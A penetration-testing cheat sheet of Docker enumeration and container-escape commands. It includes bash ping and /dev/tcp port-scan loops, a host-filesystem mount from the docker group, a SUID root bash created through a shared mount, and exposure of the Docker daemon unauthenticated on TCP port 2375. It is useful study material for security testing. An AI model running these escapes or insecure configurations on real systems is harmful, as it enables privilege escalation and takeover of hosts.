Docker
Enumeration
Host names are usually numerical IDs
Always check the environment variables
Confirm the presence of
.dockerenv
cat /proc/self/statusfind / -type f \( -perm -4000 -o -perm -2000 \)ps auxls -al /proc/self/ns/When the host's user information does not exist inside the container’s /etc/passwd file, file permissions will show numeric IDs instead of human-readable names.
If the socket is mounted you may be able to use docker-cli:
mount | grep docker.sockls -l /var/run/docker.sockUnderstand the Network
Docker containers typically run in a private virtual network created by Docker, and the default network uses a subnet in the range 172.16.0.0/12
ip addrcat /proc/net/fib_triefor i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/nullfor host in 1 2 3 4; do for port in 21 22 25 80 443 8080; do (echo "172.19.0.$host:$port" && openssl s_client -connect 172.19.0.$host:$port 2>/dev/null | grep CONNECTED) & done; done; waitCheck for Mounted File Systems
cat /proc/mounts
mount | grep <directory>Look for vulnerabilities and misconfiguration
cat /etc/docker/daemon.jsonmkdir sda{1,2,3,4,5}
for number in 1 2 3 4 5; do mount /dev/sda$number sda$number; donedocker-cli
docker psCheck for containers running with elevated privileges (
--privileged,--cap-add).Look for containers that share host namespaces or file systems.
docker imagesLook for containers running as root or with --privileged mode:
docker inspectEscape the container
Tools like nsenter or docker-exploit can be used to attempt escaping the container.
If the user is in the docker group, attempt to run the following command to mount the host filesystem and gain access to the host:
docker run -v /:/mnt -it bash bashFile Ownership Manipulation via Shared Mounts
Check permissions and ownership when you create a file from host and container:
touch from_host
touch from_containerIf the container is miss configured and can creates files as a
root, and you can access the files created by the host on the container:From the host, copybashin to the mounted directory.From the container, change the ownership and permissions ofbashtoroot.Execute
bashasroot.
cp /bin/bash .
chown root:root bash; chmod 4777 bash
./bash -pConfigure Docker to listen on a TCP port
Open the Docker service file, typically at
/lib/systemd/system/docker.serviceor/etc/systemd/system/docker.service.Change
ExecStartto bind aTCPaddress:
ExecStart=/usr/bin/dockerd --host=tcp://0.0.0.0:2375Reload the daemon and restart
Dockerif needed:
systemctl daemon-reload
systemctl restart dockerConnect to it using
docker-cli:
export DOCKER_HOST=tcp://<host_ip>:2375
docker psLast updated